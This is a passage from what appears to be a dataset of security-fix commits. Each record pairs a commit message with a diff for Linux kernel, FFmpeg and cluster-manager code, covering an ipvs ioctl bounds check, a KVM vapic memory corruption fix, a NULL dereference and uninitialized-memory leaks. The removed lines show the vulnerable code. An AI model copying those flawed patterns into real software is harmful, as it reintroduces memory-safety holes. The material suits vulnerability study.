*name;\n char *callback_id;\n char *user;\n+ char *recv_buf;\n int request_id;\n \n qb_ipcs_connection_t *ipc;\n \n #ifdef HAVE_GNUTLS_GNUTLS_H\n gnutls_session *session;\n+ gboolean handshake_complete;\n #else\n void *session;\n #endif\n gboolean encrypted;\n+ gboolean remote_auth;\n mainloop_io_t *remote;\n- \n+\n unsigned long num_calls;\n \n int pre_notify;\n int post_notify;\n int confirmations;\n int replace;\n int diffs;\n+ int remote_auth_timeout;\n \n GList *delegated_calls;\n } cib_client_t;", "sections": [{"section": "@@ -41,25 +41,29 @@ typedef struct cib_client_s {\n char *name;\n char *callback_id;\n char *user;\n+ char *recv_buf;\n int request_id;\n \n qb_ipcs_connection_t *ipc;\n \n #ifdef HAVE_GNUTLS_GNUTLS_H\n gnutls_session *session;\n+ gboolean handshake_complete;\n #else\n void *session;\n #endif\n gboolean encrypted;\n+ gboolean remote_auth;\n mainloop_io_t *remote;\n- \n+\n unsigned long num_calls;\n \n int pre_notify;\n int post_notify;\n int confirmations;\n int replace;\n int diffs;\n+ int remote_auth_timeout;\n \n GList *delegated_calls;\n } cib_client_t;", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "net/netfilter/ipvs/ip_vs_ctl.c", "commit_id": "04bcef2a83f40c6db24222b27a52892cba39dffb", "commit_message": "ipvs: Add boundary check on ioctl arguments\n\nThe ipvs code has a nifty system for doing the size of ioctl command\ncopies; it defines an array with values into which it indexes the cmd\nto find the right length.\n\nUnfortunately, the ipvs code forgot to check if the cmd was in the\nrange that the array provides, allowing for an index outside of the\narray, which then gives a \"garbage\" result into the length, which\nthen gets used for copying into a stack buffer.\n\nFix this by adding sanity checks on these as well as the copy size.\n\n[ horms@verge.net.au: adjusted limit to IP_VS_SO_GET_MAX ]\nSigned-off-by: Arjan van de Ven \nAcked-by: Julian Anastasov \nSigned-off-by: Simon Horman \nSigned-off-by: Patrick McHardy ", "patch": "@@ -2077,6 +2077,10 @@ do_ip_vs_set_ctl(struct sock *sk, int cmd, void __user *user, unsigned int len)\n \tif (!capable(CAP_NET_ADMIN))\n \t\treturn -EPERM;\n \n+\tif (cmd < IP_VS_BASE_CTL || cmd > IP_VS_SO_SET_MAX)\n+\t\treturn -EINVAL;\n+\tif (len < 0 || len > MAX_ARG_LEN)\n+\t\treturn -EINVAL;\n \tif (len != set_arglen[SET_CMDID(cmd)]) {\n \t\tpr_err(\"set_ctl: len %u != %u\\n\",\n \t\t len, set_arglen[SET_CMDID(cmd)]);\n@@ -2352,17 +2356,25 @@ do_ip_vs_get_ctl(struct sock *sk, int cmd, void __user *user, int *len)\n {\n \tunsigned char arg[128];\n \tint ret = 0;\n+\tunsigned int copylen;\n \n \tif (!capable(CAP_NET_ADMIN))\n \t\treturn -EPERM;\n \n+\tif (cmd < IP_VS_BASE_CTL || cmd > IP_VS_SO_GET_MAX)\n+\t\treturn -EINVAL;\n+\n \tif (*len < get_arglen[GET_CMDID(cmd)]) {\n \t\tpr_err(\"get_ctl: len %u < %u\\n\",\n \t\t *len, get_arglen[GET_CMDID(cmd)]);\n \t\treturn -EINVAL;\n \t}\n \n-\tif (copy_from_user(arg, user, get_arglen[GET_CMDID(cmd)]) != 0)\n+\tcopylen = get_arglen[GET_CMDID(cmd)];\n+\tif (copylen > 128)\n+\t\treturn -EINVAL;\n+\n+\tif (copy_from_user(arg, user, copylen) != 0)\n \t\treturn -EFAULT;\n \n \tif (mutex_lock_interruptible(&__ip_vs_mutex))", "sections": [{"section": "@@ -2077,6 +2077,10 @@ do_ip_vs_set_ctl(struct sock *sk, int cmd, void __user *user, unsigned int len)\n \tif (!capable(CAP_NET_ADMIN))\n \t\treturn -EPERM;\n \n+\tif (cmd < IP_VS_BASE_CTL || cmd > IP_VS_SO_SET_MAX)\n+\t\treturn -EINVAL;\n+\tif (len < 0 || len > MAX_ARG_LEN)\n+\t\treturn -EINVAL;\n \tif (len != set_arglen[SET_CMDID(cmd)]) {\n \t\tpr_err(\"set_ctl: len %u != %u\\n\",\n \t\t len, set_arglen[SET_CMDID(cmd)]);\n", "related": true}, {"section": "@@ -2352,17 +2356,25 @@ do_ip_vs_get_ctl(struct sock *sk, int cmd, void __user *user, int *len)\n {\n \tunsigned char arg[128];\n \tint ret = 0;\n+\tunsigned int copylen;\n \n \tif (!capable(CAP_NET_ADMIN))\n \t\treturn -EPERM;\n \n+\tif (cmd < IP_VS_BASE_CTL || cmd > IP_VS_SO_GET_MAX)\n+\t\treturn -EINVAL;\n+\n \tif (*len < get_arglen[GET_CMDID(cmd)]) {\n \t\tpr_err(\"get_ctl: len %u < %u\\n\",\n \t\t *len, get_arglen[GET_CMDID(cmd)]);\n \t\treturn -EINVAL;\n \t}\n \n-\tif (copy_from_user(arg, user, get_arglen[GET_CMDID(cmd)]) != 0)\n+\tcopylen = get_arglen[GET_CMDID(cmd)];\n+\tif (copylen > 128)\n+\t\treturn -EINVAL;\n+\n+\tif (copy_from_user(arg, user, copylen) != 0)\n \t\treturn -EFAULT;\n \n \tif (mutex_lock_interruptible(&__ip_vs_mutex))", "related": true}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "drivers/video/au1100fb.c", "commit_id": "7314e613d5ff9f0934f7a0f74ed7973b903315d1", "commit_message": "Fix a few incorrectly checked [io_]remap_pfn_range() calls\n\nNico Golde reports a few straggling uses of [io_]remap_pfn_range() that\nreally should use the vm_iomap_memory() helper. This trivially converts\ntwo of them to the helper, and comments about why the third one really\nneeds to continue to use remap_pfn_range(), and adds the missing size\ncheck.\n\nReported-by: Nico Golde \nCc: stable@kernel.org\nSigned-off-by: Linus Torvalds vm_pgoff > (~0UL >> PAGE_SHIFT)) {\n-\t\treturn -EINVAL;\n-\t}\n-\n-\tstart = fbdev->fb_phys & PAGE_MASK;\n-\tlen = PAGE_ALIGN((start & ~PAGE_MASK) + fbdev->fb_len);\n-\n-\toff = vma->vm_pgoff << PAGE_SHIFT;\n-\n-\tif ((vma->vm_end - vma->vm_start + off) > len) {\n-\t\treturn -EINVAL;\n-\t}\n-\n-\toff += start;\n-\tvma->vm_pgoff = off >> PAGE_SHIFT;\n-\n \tvma->vm_page_prot = pgprot_noncached(vma->vm_page_prot);\n \tpgprot_val(vma->vm_page_prot) |= (6 << 9); //CCA=6\n \n-\tif (io_remap_pfn_range(vma, vma->vm_start, off >> PAGE_SHIFT,\n-\t\t\t\tvma->vm_end - vma->vm_start,\n-\t\t\t\tvma->vm_page_prot)) {\n-\t\treturn -EAGAIN;\n-\t}\n-\n-\treturn 0;\n+\treturn vm_iomap_memory(vma, fbdev->fb_phys, fbdev->fb_len);\n }\n \n static struct fb_ops au1100fb_ops =", "sections": [{"section": "@@ -361,37 +361,13 @@ void au1100fb_fb_rotate(struct fb_info *fbi, int angle)\n int au1100fb_fb_mmap(struct fb_info *fbi, struct vm_area_struct *vma)\n {\n \tstruct au1100fb_device *fbdev;\n-\tunsigned int len;\n-\tunsigned long start=0, off;\n \n \tfbdev = to_au1100fb_device(fbi);\n \n-\tif (vma->vm_pgoff > (~0UL >> PAGE_SHIFT)) {\n-\t\treturn -EINVAL;\n-\t}\n-\n-\tstart = fbdev->fb_phys & PAGE_MASK;\n-\tlen = PAGE_ALIGN((start & ~PAGE_MASK) + fbdev->fb_len);\n-\n-\toff = vma->vm_pgoff << PAGE_SHIFT;\n-\n-\tif ((vma->vm_end - vma->vm_start + off) > len) {\n-\t\treturn -EINVAL;\n-\t}\n-\n-\toff += start;\n-\tvma->vm_pgoff = off >> PAGE_SHIFT;\n-\n \tvma->vm_page_prot = pgprot_noncached(vma->vm_page_prot);\n \tpgprot_val(vma->vm_page_prot) |= (6 << 9); //CCA=6\n \n-\tif (io_remap_pfn_range(vma, vma->vm_start, off >> PAGE_SHIFT,\n-\t\t\t\tvma->vm_end - vma->vm_start,\n-\t\t\t\tvma->vm_page_prot)) {\n-\t\treturn -EAGAIN;\n-\t}\n-\n-\treturn 0;\n+\treturn vm_iomap_memory(vma, fbdev->fb_phys, fbdev->fb_len);\n }\n \n static struct fb_ops au1100fb_ops =", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "drivers/usb/chipidea/host.c", "commit_id": "929473ea05db455ad88cdc081f2adc556b8dc48f", "commit_message": "usb: chipidea: Allow disabling streaming not only in udc mode\n\nWhen running a scp transfer using a USB/Ethernet adapter the following crash\nhappens:\n\n$ scp test.tar.gz fabio@192.168.1.100:/home/fabio\nfabio@192.168.1.100's password:\ntest.tar.gz 0% 0 0.0KB/s --:-- ETA\n------------[ cut here ]------------\nWARNING: at net/sched/sch_generic.c:255 dev_watchdog+0x2cc/0x2f0()\nNETDEV WATCHDOG: eth0 (asix): transmit queue 0 timed out\nModules linked in:\nBacktrace:\n[<80011c94>] (dump_backtrace+0x0/0x10c) from [<804d3a5c>] (dump_stack+0x18/0x1c)\n r6:000000ff r5:80412388 r4:80685dc0 r3:80696cc0\n[<804d3a44>] (dump_stack+0x0/0x1c) from [<80021868>]\n(warn_slowpath_common+0x54/0x6c)\n[<80021814>] (warn_slowpath_common+0x0/0x6c) from [<80021924>]\n(warn_slowpath_fmt+0x38/0x40)\n...\n\nSetting SDIS (Stream Disable Mode- bit 4 of USBMODE register) fixes the problem.\n\nHowever, in current code CI13XXX_DISABLE_STREAMING flag is only set in udc mode,\nso allow disabling streaming also in host mode.\n\nTested on a mx6qsabrelite board.\n\nSuggested-by: Peter Chen \nSigned-off-by: Fabio Estevam \nReviewed-by: Peter Chen \nSigned-off-by: Greg Kroah-Hartman ", "patch": "@@ -70,6 +70,9 @@ static int host_start(struct ci13xxx *ci)\n \telse\n \t\tci->hcd = hcd;\n \n+\tif (ci->platdata->flags & CI13XXX_DISABLE_STREAMING)\n+\t\thw_write(ci, OP_USBMODE, USBMODE_CI_SDIS, USBMODE_CI_SDIS);\n+\n \treturn ret;\n }\n ", "sections": [{"section": "@@ -70,6 +70,9 @@ static int host_start(struct ci13xxx *ci)\n \telse\n \t\tci->hcd = hcd;\n \n+\tif (ci->platdata->flags & CI13XXX_DISABLE_STREAMING)\n+\t\thw_write(ci, OP_USBMODE, USBMODE_CI_SDIS, USBMODE_CI_SDIS);\n+\n \treturn ret;\n }\n ", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "arch/x86/kvm/lapic.h", "commit_id": "fda4e2e85589191b123d31cdc21fd33ee70f50fd", "commit_message": "KVM: x86: Convert vapic synchronization to _cached functions (CVE-2013-6368)\n\nIn kvm_lapic_sync_from_vapic and kvm_lapic_sync_to_vapic there is the\npotential to corrupt kernel memory if userspace provides an address that\nis at the end of a page. This patches concerts those functions to use\nkvm_write_guest_cached and kvm_read_guest_cached. It also checks the\nvapic_address specified by userspace during ioctl processing and returns\nan error to userspace if the address is not a valid GPA.\n\nThis is generally not guest triggerable, because the required write is\ndone by firmware that runs before the guest. Also, it only affects AMD\nprocessors and oldish Intel that do not have the FlexPriority feature\n(unless you disable FlexPriority, of course; then newer processors are\nalso affected).\n\nFixes: b93463aa59d6 ('KVM: Accelerated apic support')\n\nReported-by: Andrew Honig \nCc: stable@vger.kernel.org\nSigned-off-by: Andrew Honig \nSigned-off-by: Paolo Bonzini ", "patch": "@@ -34,7 +34,7 @@ struct kvm_lapic {\n \t */\n \tvoid *regs;\n \tgpa_t vapic_addr;\n-\tstruct page *vapic_page;\n+\tstruct gfn_to_hva_cache vapic_cache;\n \tunsigned long pending_events;\n \tunsigned int sipi_vector;\n };\n@@ -76,7 +76,7 @@ void kvm_set_lapic_tscdeadline_msr(struct kvm_vcpu *vcpu, u64 data);\n void kvm_apic_write_nodecode(struct kvm_vcpu *vcpu, u32 offset);\n void kvm_apic_set_eoi_accelerated(struct kvm_vcpu *vcpu, int vector);\n \n-void kvm_lapic_set_vapic_addr(struct kvm_vcpu *vcpu, gpa_t vapic_addr);\n+int kvm_lapic_set_vapic_addr(struct kvm_vcpu *vcpu, gpa_t vapic_addr);\n void kvm_lapic_sync_from_vapic(struct kvm_vcpu *vcpu);\n void kvm_lapic_sync_to_vapic(struct kvm_vcpu *vcpu);\n ", "sections": [{"section": "@@ -34,7 +34,7 @@ struct kvm_lapic {\n \t */\n \tvoid *regs;\n \tgpa_t vapic_addr;\n-\tstruct page *vapic_page;\n+\tstruct gfn_to_hva_cache vapic_cache;\n \tunsigned long pending_events;\n \tunsigned int sipi_vector;\n };\n", "related": false}, {"section": "@@ -76,7 +76,7 @@ void kvm_set_lapic_tscdeadline_msr(struct kvm_vcpu *vcpu, u64 data);\n void kvm_apic_write_nodecode(struct kvm_vcpu *vcpu, u32 offset);\n void kvm_apic_set_eoi_accelerated(struct kvm_vcpu *vcpu, int vector);\n \n-void kvm_lapic_set_vapic_addr(struct kvm_vcpu *vcpu, gpa_t vapic_addr);\n+int kvm_lapic_set_vapic_addr(struct kvm_vcpu *vcpu, gpa_t vapic_addr);\n void kvm_lapic_sync_from_vapic(struct kvm_vcpu *vcpu);\n void kvm_lapic_sync_to_vapic(struct kvm_vcpu *vcpu);\n ", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "net/ipv6/ip6_fib.c", "commit_id": "ae7b4e1f213aa659aedf9c6ecad0bf5f0476e1e2", "commit_message": "net: fib: fib6_add: fix potential NULL pointer dereference\n\nWhen the kernel is compiled with CONFIG_IPV6_SUBTREES, and we return\nwith an error in fn = fib6_add_1(), then error codes are encoded into\nthe return pointer e.g. ERR_PTR(-ENOENT). In such an error case, we\nwrite the error code into err and jump to out, hence enter the if(err)\ncondition. Now, if CONFIG_IPV6_SUBTREES is enabled, we check for:\n\n if (pn != fn && pn->leaf == rt)\n ...\n if (pn != fn && !pn->leaf && !(pn->fn_flags & RTN_RTINFO))\n ...\n\nSince pn is NULL and fn is f.e. ERR_PTR(-ENOENT), then pn != fn\nevaluates to true and causes a NULL-pointer dereference on further\nchecks on pn. Fix it, by setting both NULL in error case, so that\npn != fn already evaluates to false and no further dereference\ntakes place.\n\nThis was first correctly implemented in 4a287eba2 (\"IPv6 routing,\nNLM_F_* flag support: REPLACE and EXCL flags support, warn about\nmissing CREATE flag\"), but the bug got later on introduced by\n188c517a0 (\"ipv6: return errno pointers consistently for fib6_add_1()\").\n\nSigned-off-by: Daniel Borkmann \nCc: Lin Ming \nCc: Matti Vaittinen \nCc: Hannes Frederic Sowa \nAcked-by: Hannes Frederic Sowa \nAcked-by: Matti Vaittinen \nSigned-off-by: David S. Miller ", "patch": "@@ -825,9 +825,9 @@ int fib6_add(struct fib6_node *root, struct rt6_info *rt, struct nl_info *info)\n \tfn = fib6_add_1(root, &rt->rt6i_dst.addr, rt->rt6i_dst.plen,\n \t\t\toffsetof(struct rt6_info, rt6i_dst), allow_create,\n \t\t\treplace_required);\n-\n \tif (IS_ERR(fn)) {\n \t\terr = PTR_ERR(fn);\n+\t\tfn = NULL;\n \t\tgoto out;\n \t}\n ", "sections": [{"section": "@@ -825,9 +825,9 @@ int fib6_add(struct fib6_node *root, struct rt6_info *rt, struct nl_info *info)\n \tfn = fib6_add_1(root, &rt->rt6i_dst.addr, rt->rt6i_dst.plen,\n \t\t\toffsetof(struct rt6_info, rt6i_dst), allow_create,\n \t\t\treplace_required);\n-\n \tif (IS_ERR(fn)) {\n \t\terr = PTR_ERR(fn);\n+\t\tfn = NULL;\n \t\tgoto out;\n \t}\n ", "related": false}]} +{"owner": "ffmpeg", "repo": "ffmpeg", "language": "C", "file_name": "libavcodec/jpeg2000dec.c", "commit_id": "8bb11c3ca77b52e05a9ed1496a65f8a76e6e2d8f", "commit_message": "avcodec/jpeg2000dec: Check cdx/y values more carefully\n\nSome invalid values where not handled correctly in the later pixel\nformat matching code.\nFixes out of array accesses\nFixes Ticket2848\n\nFound-by: Piotr Bandurski \nSigned-off-by: Michael Niedermayer ", "patch": "@@ -273,7 +273,8 @@ static int get_siz(Jpeg2000DecoderContext *s)\n s->sgnd[i] = !!(x & 0x80);\n s->cdx[i] = bytestream2_get_byteu(&s->g);\n s->cdy[i] = bytestream2_get_byteu(&s->g);\n- if (!s->cdx[i] || !s->cdy[i]) {\n+ if ( !s->cdx[i] || s->cdx[i] == 3 || s->cdx[i] > 4\n+ || !s->cdy[i] || s->cdy[i] == 3 || s->cdy[i] > 4) {\n av_log(s->avctx, AV_LOG_ERROR, \"Invalid sample seperation\\n\");\n return AVERROR_INVALIDDATA;\n }", "sections": [{"section": "@@ -273,7 +273,8 @@ static int get_siz(Jpeg2000DecoderContext *s)\n s->sgnd[i] = !!(x & 0x80);\n s->cdx[i] = bytestream2_get_byteu(&s->g);\n s->cdy[i] = bytestream2_get_byteu(&s->g);\n- if (!s->cdx[i] || !s->cdy[i]) {\n+ if ( !s->cdx[i] || s->cdx[i] == 3 || s->cdx[i] > 4\n+ || !s->cdy[i] || s->cdy[i] == 3 || s->cdy[i] > 4) {\n av_log(s->avctx, AV_LOG_ERROR, \"Invalid sample seperation\\n\");\n return AVERROR_INVALIDDATA;\n }", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "arch/x86/include/asm/fpu-internal.h", "commit_id": "26bef1318adc1b3a530ecc807ef99346db2aa8b0", "commit_message": "x86, fpu, amd: Clear exceptions in AMD FXSAVE workaround\n\nBefore we do an EMMS in the AMD FXSAVE information leak workaround we\nneed to clear any pending exceptions, otherwise we trap with a\nfloating-point exception inside this code.\n\nReported-by: halfdog \nTested-by: Borislav Petkov \nLink: http://lkml.kernel.org/r/CA%2B55aFxQnY_PCG_n4=0w-VG=YLXL-yr7oMxyy0WU2gCBAf3ydg@mail.gmail.com\nSigned-off-by: H. Peter Anvin ", "patch": "@@ -293,12 +293,13 @@ static inline int restore_fpu_checking(struct task_struct *tsk)\n \t/* AMD K7/K8 CPUs don't save/restore FDP/FIP/FOP unless an exception\n \t is pending. Clear the x87 state here by setting it to fixed\n \t values. \"m\" is a random variable that should be in L1 */\n-\talternative_input(\n-\t\tASM_NOP8 ASM_NOP2,\n-\t\t\"emms\\n\\t\"\t\t/* clear stack tags */\n-\t\t\"fildl %P[addr]\",\t/* set F?P to defined value */\n-\t\tX86_FEATURE_FXSAVE_LEAK,\n-\t\t[addr] \"m\" (tsk->thread.fpu.has_fpu));\n+\tif (unlikely(static_cpu_has(X86_FEATURE_FXSAVE_LEAK))) {\n+\t\tasm volatile(\n+\t\t\t\"fnclex\\n\\t\"\n+\t\t\t\"emms\\n\\t\"\n+\t\t\t\"fildl %P[addr]\"\t/* set F?P to defined value */\n+\t\t\t: : [addr] \"m\" (tsk->thread.fpu.has_fpu));\n+\t}\n \n \treturn fpu_restore_checking(&tsk->thread.fpu);\n }", "sections": [{"section": "@@ -293,12 +293,13 @@ static inline int restore_fpu_checking(struct task_struct *tsk)\n \t/* AMD K7/K8 CPUs don't save/restore FDP/FIP/FOP unless an exception\n \t is pending. Clear the x87 state here by setting it to fixed\n \t values. \"m\" is a random variable that should be in L1 */\n-\talternative_input(\n-\t\tASM_NOP8 ASM_NOP2,\n-\t\t\"emms\\n\\t\"\t\t/* clear stack tags */\n-\t\t\"fildl %P[addr]\",\t/* set F?P to defined value */\n-\t\tX86_FEATURE_FXSAVE_LEAK,\n-\t\t[addr] \"m\" (tsk->thread.fpu.has_fpu));\n+\tif (unlikely(static_cpu_has(X86_FEATURE_FXSAVE_LEAK))) {\n+\t\tasm volatile(\n+\t\t\t\"fnclex\\n\\t\"\n+\t\t\t\"emms\\n\\t\"\n+\t\t\t\"fildl %P[addr]\"\t/* set F?P to defined value */\n+\t\t\t: : [addr] \"m\" (tsk->thread.fpu.has_fpu));\n+\t}\n \n \treturn fpu_restore_checking(&tsk->thread.fpu);\n }", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "net/ipv6/udp.c", "commit_id": "bceaa90240b6019ed73b49965eac7d167610be69", "commit_message": "inet: prevent leakage of uninitialized memory to user in recv syscalls\n\nOnly update *addr_len when we actually fill in sockaddr, otherwise we\ncan return uninitialized memory from the stack to the caller in the\nrecvfrom, recvmmsg and recvmsg syscalls. Drop the the (addr_len == NULL)\nchecks because we only get called with a valid addr_len pointer either\nfrom sock_common_recvmsg or inet_recvmsg.\n\nIf a blocking read waits on a socket which is concurrently shut down we\nnow return zero and set msg_msgnamelen to 0.\n\nReported-by: mpb \nSuggested-by: Eric Dumazet \nSigned-off-by: Hannes Frederic Sowa \nSigned-off-by: David S. Miller ", "patch": "@@ -392,9 +392,6 @@ int udpv6_recvmsg(struct kiocb *iocb, struct sock *sk,\n \tint is_udp4;\n \tbool slow;\n \n-\tif (addr_len)\n-\t\t*addr_len = sizeof(struct sockaddr_in6);\n-\n \tif (flags & MSG_ERRQUEUE)\n \t\treturn ipv6_recv_error(sk, msg, len);\n \n@@ -480,7 +477,7 @@ int udpv6_recvmsg(struct kiocb *iocb, struct sock *sk,\n \t\t\t\tipv6_iface_scope_id(&sin6->sin6_addr,\n \t\t\t\t\t\t IP6CB(skb)->iif);\n \t\t}\n-\n+\t\t*addr_len = sizeof(*sin6);\n \t}\n \tif (is_udp4) {\n \t\tif (inet->cmsg_flags)", "sections": [{"section": "@@ -392,9 +392,6 @@ int udpv6_recvmsg(struct kiocb *iocb, struct sock *sk,\n \tint is_udp4;\n \tbool slow;\n \n-\tif (addr_len)\n-\t\t*addr_len = sizeof(struct sockaddr_in6);\n-\n \tif (flags & MSG_ERRQUEUE)\n \t\treturn ipv6_recv_error(sk, msg, len);\n \n", "related": false}, {"section": "@@ -480,7 +477,7 @@ int udpv6_recvmsg(struct kiocb *iocb, struct sock *sk,\n \t\t\t\tipv6_iface_scope_id(&sin6->sin6_addr,\n \t\t\t\t\t\t IP6CB(skb)->iif);\n \t\t}\n-\n+\t\t*addr_len = sizeof(*sin6);\n \t}\n \tif (is_udp4) {\n \t\tif (inet->cmsg_flags)", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "net/phonet/datagram.c", "commit_id": "bceaa90240b6019ed73b49965eac7d167610be69", "commit_message": "inet: prevent leakage of uninitialized memory to user in recv syscalls\n\nOnly update *addr_len when we actually fill in sockaddr, otherwise we\ncan return uninitialized memory from the stack to the caller in the\nrecvfrom, recvmmsg and recvmsg syscalls. Drop the the (addr_len == NULL)\nchecks because we only get called with a valid addr_len pointer either\nfrom sock_common_recvmsg or inet_recvmsg.\n\nIf a blocking read waits on a socket which is concurrently shut down we\nnow return zero and set msg_msgnamelen to 0.\n\nReported-by: mpb \nSuggested-by: Eric Dumazet \nSigned-off-by: Hannes Frederic Sowa \nSigned-off-by: David S. Miller ", "patch": "@@ -139,9 +139,6 @@ static int pn_recvmsg(struct kiocb *iocb, struct sock *sk,\n \t\t\tMSG_CMSG_COMPAT))\n \t\tgoto out_nofree;\n \n-\tif (addr_len)\n-\t\t*addr_len = sizeof(sa);\n-\n \tskb = skb_recv_datagram(sk, flags, noblock, &rval);\n \tif (skb == NULL)\n \t\tgoto out_nofree;\n@@ -162,8 +159,10 @@ static int pn_recvmsg(struct kiocb *iocb, struct sock *sk,\n \n \trval = (flags & MSG_TRUNC) ? skb->len : copylen;\n \n-\tif (msg->msg_name != NULL)\n-\t\tmemcpy(msg->msg_name, &sa, sizeof(struct sockaddr_pn));\n+\tif (msg->msg_name != NULL) {\n+\t\tmemcpy(msg->msg_name, &sa, sizeof(sa));\n+\t\t*addr_len = sizeof(sa);\n+\t}\n \n out:\n \tskb_free_datagram(sk, skb);", "sections": [{"section": "@@ -139,9 +139,6 @@ static int pn_recvmsg(struct kiocb *iocb, struct sock *sk,\n \t\t\tMSG_CMSG_COMPAT))\n \t\tgoto out_nofree;\n \n-\tif (addr_len)\n-\t\t*addr_len = sizeof(sa);\n-\n \tskb = skb_recv_datagram(sk, flags, noblock, &rval);\n \tif (skb == NULL)\n \t\tgoto out_nofree;\n", "related": true}, {"section": "@@ -162,8 +159,10 @@ static int pn_recvmsg(struct kiocb *iocb, struct sock *sk,\n \n \trval = (flags & MSG_TRUNC) ? skb->len : copylen;\n \n-\tif (msg->msg_name != NULL)\n-\t\tmemcpy(msg->msg_name, &sa, sizeof(struct sockaddr_pn));\n+\tif (msg->msg_name != NULL) {\n+\t\tmemcpy(msg->msg_name, &sa, sizeof(sa));\n+\t\t*addr_len = sizeof(sa);\n+\t}\n \n out:\n \tskb_free_datagram(sk, skb);", "related": true}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "net/ipv4/ping.c", "commit_id": "bceaa90240b6019ed73b49965eac7d167610be69", "commit_message": "inet: prevent leakage of uninitialized memory to user in recv syscalls\n\nOnly update *addr_len when we actually fill in sockaddr, otherwise we\ncan return uninitialized memory from the stack to the caller in the\nrecvfrom, recvmmsg and recvmsg syscalls. Drop the the (addr_len == NULL)\nchecks because we only get called with a valid addr_len pointer either\nfrom sock_common_recvmsg or inet_recvmsg.\n\nIf a blocking read waits on a socket which is concurrently shut down we\nnow return zero and set msg_msgnamelen to 0.\n\nReported-by: mpb \nSuggested-by: Eric Dumazet \nSigned-off-by: Hannes Frederic Sowa \nSigned-off-by: David S. Miller ", "patch": "@@ -830,8 +830,6 @@ int ping_recvmsg(struct kiocb *iocb, struct sock *sk, struct msghdr *msg,\n {\n \tstruct inet_sock *isk = inet_sk(sk);\n \tint family = sk->sk_family;\n-\tstruct sockaddr_in *sin;\n-\tstruct sockaddr_in6 *sin6;\n \tstruct sk_buff *skb;\n \tint copied, err;\n \n@@ -841,13 +839,6 @@ int ping_recvmsg(struct kiocb *iocb, struct sock *sk, struct msghdr *msg,\n \tif (flags & MSG_OOB)\n \t\tgoto out;\n \n-\tif (addr_len) {\n-\t\tif (family == AF_INET)\n-\t\t\t*addr_len = sizeof(*sin);\n-\t\telse if (family == AF_INET6 && addr_len)\n-\t\t\t*addr_len = sizeof(*sin6);\n-\t}\n-\n \tif (flags & MSG_ERRQUEUE) {\n \t\tif (family == AF_INET) {\n \t\t\treturn ip_recv_error(sk, msg, len);\n@@ -877,11 +868,13 @@ int ping_recvmsg(struct kiocb *iocb, struct sock *sk, struct msghdr *msg,\n \n \t/* Copy the address and add cmsg data. */\n \tif (family == AF_INET) {\n-\t\tsin = (struct sockaddr_in *) msg->msg_name;\n+\t\tstruct sockaddr_in *sin = (struct sockaddr_in *)msg->msg_name;\n+\n \t\tsin->sin_family = AF_INET;\n \t\tsin->sin_port = 0 /* skb->h.uh->source */;\n \t\tsin->sin_addr.s_addr = ip_hdr(skb)->saddr;\n \t\tmemset(sin->sin_zero, 0, sizeof(sin->sin_zero));\n+\t\t*addr_len = sizeof(*sin);\n \n \t\tif (isk->cmsg_flags)\n \t\t\tip_cmsg_recv(msg, skb);\n@@ -890,17 +883,19 @@ int ping_recvmsg(struct kiocb *iocb, struct sock *sk, struct msghdr *msg,\n \t} else if (family == AF_INET6) {\n \t\tstruct ipv6_pinfo *np = inet6_sk(sk);\n \t\tstruct ipv6hdr *ip6 = ipv6_hdr(skb);\n-\t\tsin6 = (struct sockaddr_in6 *) msg->msg_name;\n+\t\tstruct sockaddr_in6 *sin6 =\n+\t\t\t(struct sockaddr_in6 *)msg->msg_name;\n+\n \t\tsin6->sin6_family = AF_INET6;\n \t\tsin6->sin6_port = 0;\n \t\tsin6->sin6_addr = ip6->saddr;\n-\n \t\tsin6->sin6_flowinfo = 0;\n \t\tif (np->sndflow)\n \t\t\tsin6->sin6_flowinfo = ip6_flowinfo(ip6);\n \n \t\tsin6->sin6_scope_id = ipv6_iface_scope_id(&sin6->sin6_addr,\n \t\t\t\t\t\t\t IP6CB(skb)->iif);\n+\t\t*addr_len = sizeof(*sin6);\n \n \t\tif (inet6_sk(sk)->rxopt.all)\n \t\t\tpingv6_ops.ip6_datagram_recv_ctl(sk, msg, skb);", "sections": [{"section": "@@ -830,8 +830,6 @@ int ping_recvmsg(struct kiocb *iocb, struct sock *sk, struct msghdr *msg,\n {\n \tstruct inet_sock *isk = inet_sk(sk);\n \tint family = sk->sk_family;\n-\tstruct sockaddr_in *sin;\n-\tstruct sockaddr_in6 *sin6;\n \tstruct sk_buff *skb;\n \tint copied, err;\n \n", "related": false}, {"section": "@@ -841,13 +839,6 @@ int ping_recvmsg(struct kiocb *iocb, struct sock *sk, struct msghdr *msg,\n \tif (flags & MSG_OOB)\n \t\tgoto out;\n \n-\tif (addr_len) {\n-\t\tif (family == AF_INET)\n-\t\t\t*addr_len = sizeof(*sin);\n-\t\telse if (family == AF_INET6 && addr_len)\n-\t\t\t*addr_len = sizeof(*sin6);\n-\t}\n-\n \tif (flags & MSG_ERRQUEUE) {\n \t\tif (family == AF_INET) {\n \t\t\treturn ip_recv_error(sk, msg, len);\n", "related": false}, {"section": "@@ -877,11 +868,13 @@ int ping_recvmsg(struct kiocb *iocb, struct sock *sk, struct msghdr *msg,\n \n \t/* Copy the address and add cmsg data. */\n \tif (family == AF_INET) {\n-\t\tsin = (struct sockaddr_in *) msg->msg_name;\n+\t\tstruct sockaddr_in *sin = (struct sockaddr_in *)msg->msg_name;\n+\n \t\tsin->sin_family = AF_INET;\n \t\tsin->sin_port = 0 /* skb->h.uh->source */;\n \t\tsin->sin_addr.s_addr = ip_hdr(skb)->saddr;\n \t\tmemset(sin->sin_zero, 0, sizeof(sin->sin_zero));\n+\t\t*addr_len = sizeof(*sin);\n \n \t\tif (isk->cmsg_flags)\n \t\t\tip_cmsg_recv(msg, skb);\n", "related": false}, {"section": "@@ -890,17 +883,19 @@ int ping_recvmsg(struct kiocb *iocb, struct sock *sk, struct msghdr *msg,\n \t} else if (family == AF_INET6) {\n \t\tstruct ipv6_pinfo *np = inet6_sk(sk);\n \t\tstruct ipv6hdr *ip6 = ipv6_hdr(skb);\n-\t\tsin6 = (struct sockaddr_in6 *) 